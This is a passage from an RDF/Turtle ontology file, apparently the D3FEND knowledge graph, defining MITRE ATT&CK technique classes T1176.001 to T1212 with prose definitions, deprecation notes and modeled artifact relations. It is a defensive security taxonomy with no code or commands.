    rdfs:comment "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**" ;
    rdfs:subClassOf d3f:ExecutionTechnique,
        d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1176.001 a owl:Class ;
    rdfs:label "Browser Extensions" ;
    d3f:attack-id "T1176.001" ;
    d3f:definition "Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)" ;
    rdfs:subClassOf d3f:T1176 .

d3f:T1176.002 a owl:Class ;
    rdfs:label "IDE Extensions" ;
    d3f:attack-id "T1176.002" ;
    d3f:definition "Adversaries may abuse an integrated development environment (IDE) extension to establish persistent access to victim systems.(Citation: Mnemonic misuse visual studio) IDEs such as Visual Studio Code, IntelliJ IDEA, and Eclipse support extensions - software components that add features like code linting, auto-completion, task automation, or integration with tools like Git and Docker. A malicious extension can be installed through an extension marketplace (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)) or side-loaded directly into the IDE.(Citation: Abramovsky VSCode Security)(Citation: Lakshmanan Visual Studio Marketplace)" ;
    rdfs:subClassOf d3f:T1176 .

d3f:T1177 a owl:Class ;
    rdfs:label "LSASS Driver" ;
    d3f:attack-id "T1177" ;
    d3f:definition "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)" ;
    rdfs:comment "This technique has been revoked by T1547.008" ;
    rdfs:seeAlso d3f:T1547.008 ;
    rdfs:subClassOf d3f:ExecutionTechnique,
        d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1178 a owl:Class ;
    rdfs:label "SID-History Injection" ;
    d3f:attack-id "T1178" ;
    d3f:definition "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens)." ;
    rdfs:comment "This technique has been revoked by T1134.005" ;
    rdfs:seeAlso d3f:T1134.005 ;
    rdfs:subClassOf d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1179 a owl:Class ;
    rdfs:label "Hooking" ;
    d3f:attack-id "T1179" ;
    d3f:definition "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions." ;
    rdfs:comment "This technique has been revoked by T1056.004" ;
    rdfs:seeAlso d3f:T1056.004 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique,
        d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1180 a owl:Class ;
    rdfs:label "Screensaver" ;
    d3f:attack-id "T1180" ;
    d3f:definition "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\\Windows\\System32\\</code>, and <code>C:\\Windows\\sysWOW64\\</code> on 64-bit Windows systems, along with screensavers included with base Windows installations." ;
    rdfs:comment "This technique has been revoked by T1546.002" ;
    rdfs:seeAlso d3f:T1546.002 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1181 a owl:Class ;
    rdfs:label "Extra Window Memory Injection" ;
    d3f:attack-id "T1181" ;
    d3f:definition "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)" ;
    rdfs:comment "This technique has been revoked by T1055.011" ;
    rdfs:seeAlso d3f:T1055.011 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1182 a owl:Class ;
    rdfs:label "AppCert DLLs" ;
    d3f:attack-id "T1182" ;
    d3f:definition "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)" ;
    rdfs:comment "This technique has been revoked by T1546.009" ;
    rdfs:seeAlso d3f:T1546.009 ;
    rdfs:subClassOf d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1183 a owl:Class ;
    rdfs:label "Image File Execution Options Injection" ;
    d3f:attack-id "T1183" ;
    d3f:definition "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g  notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)" ;
    rdfs:comment "This technique has been revoked by T1546.012" ;
    rdfs:seeAlso d3f:T1546.012 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique,
        d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1184 a owl:Class ;
    rdfs:label "SSH Hijacking" ;
    d3f:attack-id "T1184" ;
    d3f:definition "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair." ;
    rdfs:comment "This technique has been revoked by T1563.001" ;
    rdfs:seeAlso d3f:T1563.001 ;
    rdfs:subClassOf d3f:LateralMovementTechnique ;
    owl:deprecated true .

d3f:T1185 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Browser Session Hijacking" ;
    d3f:attack-id "T1185" ;
    d3f:definition "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)" ;
    d3f:produces d3f:WebNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:WebNetworkTraffic ],
        d3f:CollectionTechnique .

d3f:T1186 a owl:Class ;
    rdfs:label "Process Doppelgänging" ;
    d3f:attack-id "T1186" ;
    d3f:definition "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)" ;
    rdfs:comment "This technique has been revoked by T1055.013" ;
    rdfs:seeAlso d3f:T1055.013 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique ;
    owl:deprecated true .

d3f:T1187 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Forced Authentication" ;
    d3f:attack-id "T1187" ;
    d3f:definition "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept." ;
    d3f:may-modify d3f:WindowsShortcutFile ;
    d3f:modifies d3f:AuthenticationLog ;
    d3f:produces d3f:Authentication ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:AuthenticationLog ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:Authentication ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:WindowsShortcutFile ],
        d3f:CredentialAccessTechnique .

d3f:T1188 a owl:Class ;
    rdfs:label "Multi-hop Proxy" ;
    d3f:attack-id "T1188" ;
    d3f:definition "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source." ;
    rdfs:comment "This technique has been revoked by T1090.003" ;
    rdfs:seeAlso d3f:T1090.003 ;
    rdfs:subClassOf d3f:CommandAndControlTechnique ;
    owl:deprecated true .

d3f:T1189 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Drive-by Compromise" ;
    d3f:attack-id "T1189" ;
    d3f:definition "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001)." ;
    d3f:modifies d3f:ProcessSegment ;
    d3f:produces d3f:OutboundInternetNetworkTraffic,
        d3f:URL ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:URL ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ProcessSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetNetworkTraffic ],
        d3f:InitialAccessTechnique .

d3f:T1190 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exploit Public-Facing Application" ;
    d3f:attack-id "T1190" ;
    d3f:definition "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration." ;
    d3f:injects d3f:DatabaseQuery ;
    d3f:modifies d3f:ProcessSegment ;
    d3f:produces d3f:InboundInternetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:InboundInternetNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ProcessSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:injects ;
            owl:someValuesFrom d3f:DatabaseQuery ],
        d3f:InitialAccessTechnique .

d3f:T1191 a owl:Class ;
    rdfs:label "CMSTP" ;
    d3f:attack-id "T1191" ;
    d3f:definition "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections." ;
    rdfs:comment "This technique has been revoked by T1218.003" ;
    rdfs:seeAlso d3f:T1218.003 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1192 a owl:Class ;
    rdfs:label "Spearphishing Link" ;
    d3f:attack-id "T1192" ;
    d3f:definition "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments." ;
    rdfs:comment "This technique has been revoked by T1566.002" ;
    rdfs:seeAlso d3f:T1566.002 ;
    rdfs:subClassOf d3f:InitialAccessTechnique ;
    owl:deprecated true .

d3f:T1193 a owl:Class ;
    rdfs:label "Spearphishing Attachment" ;
    d3f:attack-id "T1193" ;
    d3f:definition "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution." ;
    rdfs:comment "This technique has been revoked by T1566.001" ;
    rdfs:seeAlso d3f:T1566.001 ;
    rdfs:subClassOf d3f:InitialAccessTechnique ;
    owl:deprecated true .

d3f:T1194 a owl:Class ;
    rdfs:label "Spearphishing via Service" ;
    d3f:attack-id "T1194" ;
    d3f:definition "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels." ;
    rdfs:comment "This technique has been revoked by T1566.003" ;
    rdfs:seeAlso d3f:T1566.003 ;
    rdfs:subClassOf d3f:InitialAccessTechnique ;
    owl:deprecated true .

d3f:T1195.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Compromise Software Dependencies and Development Tools" ;
    d3f:attack-id "T1195.001" ;
    d3f:definition "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)" ;
    d3f:modifies d3f:Software ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:Software ],
        d3f:T1195 .

d3f:T1195.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Compromise Software Supply Chain" ;
    d3f:attack-id "T1195.002" ;
    d3f:definition "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version." ;
    d3f:modifies d3f:Software ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:Software ],
        d3f:T1195 .

d3f:T1195.003 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Compromise Hardware Supply Chain" ;
    d3f:attack-id "T1195.003" ;
    d3f:definition "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals." ;
    d3f:modifies d3f:HardwareDevice ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:HardwareDevice ],
        d3f:T1195 .

d3f:T1196 a owl:Class ;
    rdfs:label "Control Panel Items" ;
    d3f:attack-id "T1196" ;
    d3f:definition "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)" ;
    rdfs:comment "This technique has been revoked by T1218.002" ;
    rdfs:seeAlso d3f:T1218.002 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:ExecutionTechnique ;
    owl:deprecated true .

d3f:T1197 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "BITS Jobs" ;
    d3f:attack-id "T1197" ;
    d3f:definition "Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations." ;
    d3f:may-produce d3f:IntranetIPCNetworkTraffic,
        d3f:IntranetWebNetworkTraffic,
        d3f:OutboundInternetWebTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:OutboundInternetWebTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:IntranetWebNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-produce ;
            owl:someValuesFrom d3f:IntranetIPCNetworkTraffic ],
        d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique .

d3f:T1198 a owl:Class ;
    rdfs:label "SIP and Trust Provider Hijacking" ;
    d3f:attack-id "T1198" ;
    d3f:definition "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)" ;
    rdfs:comment "This technique has been revoked by T1553.003" ;
    rdfs:seeAlso d3f:T1553.003 ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique,
        d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1199 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Trusted Relationship" ;
    d3f:attack-id "T1199" ;
    d3f:creates d3f:LoginSession ;
    d3f:definition "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network." ;
    d3f:produces d3f:IntranetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:LoginSession ],
        [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetNetworkTraffic ],
        d3f:InitialAccessTechnique .

d3f:T1200 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Hardware Additions" ;
    d3f:attack-id "T1200" ;
    d3f:connects d3f:HardwareDevice ;
    d3f:definition "Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:connects ;
            owl:someValuesFrom d3f:HardwareDevice ],
        d3f:InitialAccessTechnique .

d3f:T1201 a owl:Class ;
    rdfs:label "Password Policy Discovery" ;
    d3f:attack-id "T1201" ;
    d3f:definition "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts)." ;
    rdfs:subClassOf d3f:DiscoveryTechnique .

d3f:T1202 a owl:Class ;
    rdfs:label "Indirect Command Execution" ;
    d3f:attack-id "T1202" ;
    d3f:definition "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1203 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exploitation for Client Execution" ;
    d3f:attack-id "T1203" ;
    d3f:definition "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility." ;
    d3f:modifies d3f:ProcessCodeSegment,
        d3f:StackFrame ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:StackFrame ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:ProcessCodeSegment ],
        d3f:ExecutionTechnique .

d3f:T1204.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Malicious Link" ;
    d3f:accesses d3f:URL ;
    d3f:attack-id "T1204.001" ;
    d3f:definition "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002)." ;
    d3f:produces d3f:OutboundInternetWebTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OutboundInternetWebTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:URL ],
        d3f:T1204 .

d3f:T1204.002 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Malicious File" ;
    d3f:attack-id "T1204.002" ;
    d3f:definition "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl." ;
    d3f:executes d3f:ExecutableFile ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:ExecutableFile ],
        d3f:T1204 .

d3f:T1204.003 a owl:Class ;
    rdfs:label "Malicious Image" ;
    d3f:attack-id "T1204.003" ;
    d3f:definition "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)" ;
    rdfs:subClassOf d3f:T1204 .

d3f:T1204.004 a owl:Class ;
    rdfs:label "Malicious Copy and Paste" ;
    d3f:attack-id "T1204.004" ;
    d3f:definition "An adversary may rely upon a user copying and pasting code in order to gain execution. Users may be subjected to social engineering to get them to copy and paste code directly into a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)." ;
    rdfs:subClassOf d3f:T1204 .

d3f:T1205.001 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Port Knocking" ;
    d3f:attack-id "T1205.001" ;
    d3f:definition "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software." ;
    d3f:produces d3f:NetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:T1205 .

d3f:T1205.002 a owl:Class ;
    rdfs:label "Socket Filters" ;
    d3f:attack-id "T1205.002" ;
    d3f:definition "Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell." ;
    rdfs:subClassOf d3f:T1205 .

d3f:T1206 a owl:Class ;
    rdfs:label "Sudo Caching" ;
    d3f:attack-id "T1206" ;
    d3f:definition "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again)." ;
    rdfs:comment "This technique has been revoked by T1548.003" ;
    rdfs:seeAlso d3f:T1548.003 ;
    rdfs:subClassOf d3f:PrivilegeEscalationTechnique ;
    owl:deprecated true .

d3f:T1207 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Rogue Domain Controller" ;
    d3f:attack-id "T1207" ;
    d3f:definition "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys." ;
    d3f:modifies d3f:SystemConfigurationDatabase ;
    d3f:produces d3f:IntranetAdministrativeNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetAdministrativeNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:modifies ;
            owl:someValuesFrom d3f:SystemConfigurationDatabase ],
        d3f:DefenseEvasionTechnique .

d3f:T1208 a owl:Class ;
    rdfs:label "Kerberoasting" ;
    d3f:attack-id "T1208" ;
    d3f:definition "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)" ;
    rdfs:comment "This technique has been revoked by T1558.003" ;
    rdfs:seeAlso d3f:T1558.003 ;
    rdfs:subClassOf d3f:CredentialAccessTechnique ;
    owl:deprecated true .

d3f:T1209 a owl:Class ;
    rdfs:label "Time Providers" ;
    d3f:attack-id "T1209" ;
    d3f:definition "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)" ;
    rdfs:comment "This technique has been revoked by T1547.003" ;
    rdfs:seeAlso d3f:T1547.003 ;
    rdfs:subClassOf d3f:PersistenceTechnique ;
    owl:deprecated true .

d3f:T1210 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exploitation of Remote Services" ;
    d3f:attack-id "T1210" ;
    d3f:definition "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system." ;
    d3f:may-modify d3f:ProcessCodeSegment,
        d3f:ProcessSegment,
        d3f:StackFrame ;
    d3f:produces d3f:IntranetNetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:IntranetNetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:StackFrame ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ProcessCodeSegment ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ProcessSegment ],
        d3f:LateralMovementTechnique .

d3f:T1211 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exploitation for Defense Evasion" ;
    d3f:attack-id "T1211" ;
    d3f:definition "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them." ;
    d3f:may-modify d3f:ProcessCodeSegment,
        d3f:StackFrame ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:StackFrame ],
        [ a owl:Restriction ;
            owl:onProperty d3f:may-modify ;
            owl:someValuesFrom d3f:ProcessCodeSegment ],
        d3f:DefenseEvasionTechnique .

d3f:T1212 a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exploitation for Credential Access" ;
